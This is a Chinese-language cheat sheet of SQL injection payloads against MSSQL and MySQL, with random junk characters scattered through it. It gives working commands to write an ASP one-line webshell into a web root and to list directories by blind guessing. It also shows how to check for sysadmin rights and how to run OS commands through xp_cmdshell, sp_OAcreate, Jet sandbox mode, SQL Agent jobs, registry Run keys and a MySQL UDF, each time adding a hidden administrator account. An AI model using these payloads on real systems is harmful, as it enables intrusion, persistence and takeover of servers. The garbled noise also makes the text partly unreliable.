MSSQL语句导出一句话木马
* v0 [8 u& `4 y6 \9 L! D3 W% D首先确定网站的WEB路径
5 ~. l5 s5 X% S;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马6 B( C5 N3 v: y6 @* X+ }% E
1 c" J4 I# ]) J" q. \. a. A
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- . O0 C% D8 p# ?8 \6 ]& N
//将一句话木马插入表中3 N! y* y0 [5 O/ R& Q/ o# y4 n# b& n
: s+ d: M, ~9 H- T: |;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- " H* s; ^% D0 ]% z# Z3 B+ _
//导出一个ASP文件
: m# N0 r/ m9 y% @/ J4 T% [- R/ g% [
5 i& \6 V; v4 z" O2 g+ \4 o$ Q3 @
关于MSSQL列目录2 `1 T( K% O* G/ |; I
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表. y1 w3 Y/ M. N5 I/ H4 y0 q( G/ q
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表1 o6 L! f" R5 ~1 B' S
9 h" W6 `2 t- h: l) [+ }8 r( c6 eand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
7 O4 e7 h/ n. {" P5 I
7 w# }7 a9 y1 e/ L9 kAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
9 }% h5 y, ^( s
+ v1 h4 [* i# W& {5 U* IAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
. o6 |% S3 O: g- N( Q; z8 w- G& {
( L9 p: D' J( `7 ]5 p( W1 s7 z
数据库版本和权限查看
4 O$ c/ X4 G$ e0 F' L5 d z$ {and 1=(select @@VERSION) //查看详细的数据库信息.5 F. f, B) O3 X8 z* ^+ L y( f: B' Y
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA n0 Q, w, J" l6 k5 q: K
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
2 ~4 y3 `! R+ {9 I* S# }* c/ {
! ^; |6 r% X+ }; D0 b/ k$ I7 Z1 \- S2 Q8 b. }2 |# y
1.利用xp_cmdshell执行命令, e* `( I1 J/ k! r& o, n
exec master..xp_cmdshell 'net user rfire 123456 /add'
; ?9 d2 R% q9 n; g. K' G& ~( e7 bexec master..xp_cmdshell 'net localgroup administrators rfire /add'
4 H( T! ^' V& ?% ^! K
/ ?. D) c, z3 n% g恢复xp_cmdshell存储过程) M. K( i- B& Q9 Y
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
3 G1 Q* i% S% X1 H( A) b" s$ i; m: M# H; k& E3 }, F: a- d
( h3 v3 S/ N; }& e, D
2.利用SP_OAcreate和SP_OAMETHOD执行命令0 z7 x' Y- I3 _8 @& F: }$ x
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下% X3 r7 B& D0 `/ ]6 u. R+ A L0 X
DECLARE @shell INT //建立一个@shell实体7 Z/ w- q/ ]& S, f/ y
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
3 g, g6 k& D2 I! R- m/ ]/ k" rEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
; ^' ~ W/ {! L4 H& c
8 _: _ g6 J6 X* L% W% Y8 h' S; N1 T6 b! I
3.利用沙盒模式& L8 f |$ P' G7 A6 l
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
- v6 k/ K5 r$ @3 b6 a, \开启沙盒模式:: G7 ~! L' p) I2 k
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
# C; I/ c# P: ^) T; M3 y9 v& H' [( e/ B5 S, m% Q! ]
执行命令:0 j8 P; v1 M; M$ A% r+ G A$ }
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');# ~2 a A1 G8 o
5 q# J' H0 b/ }' H% ?& w
0 t; v! `! B1 `# w4.利用SQL代理执行命令
1 D* B6 [6 P {6 y" A1 QEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
1 \' ?; v2 a1 @ b% U
. N' o. V; A# V2 U; n执行命令:0 V6 W8 O+ p% t9 j9 _
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
; @( x) a2 N& x* Texec sp_add_job 'x'
/ }1 p2 r$ ?* U/ b V2 @exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
3 m+ {3 ~6 T. K+ |7 B) Rexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
7 p$ B5 @: r" j
2 _3 O- |& t3 G/ U% n) n; n; h2 v9 J/ D% q7 ?0 a2 v B: V
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
* k$ z6 S* D2 fEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
9 K; h$ N- n4 q7 R
. V7 A3 s! d5 E1 j" X" j; Z
* m* u% y' t8 H2 I5 S$ k1 J: _6.MYSQL的命令执行1 k; M& l/ ]* A6 K2 `1 a
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
. e5 K. J- x4 t3 Z, q首先要在su.php下导出c:\windows\udf.dll
% R5 i: o8 L! b导出后执行创建自定义函数命令:; M2 L7 ]& M5 p$ | [2 m( y
Create Function cmdshell returns string soname 'udf.dll'* j' L7 c' v# _2 ^: v$ [
执行命令. P5 s# f6 A' m/ j) {$ v
select cmdshell('net user rfire 123456 /add')
, E2 G( J1 [, ?, C/ q; D9 n执行后删除函数 drop function cmdshell
$ u+ V u5 k, V# A- m; E |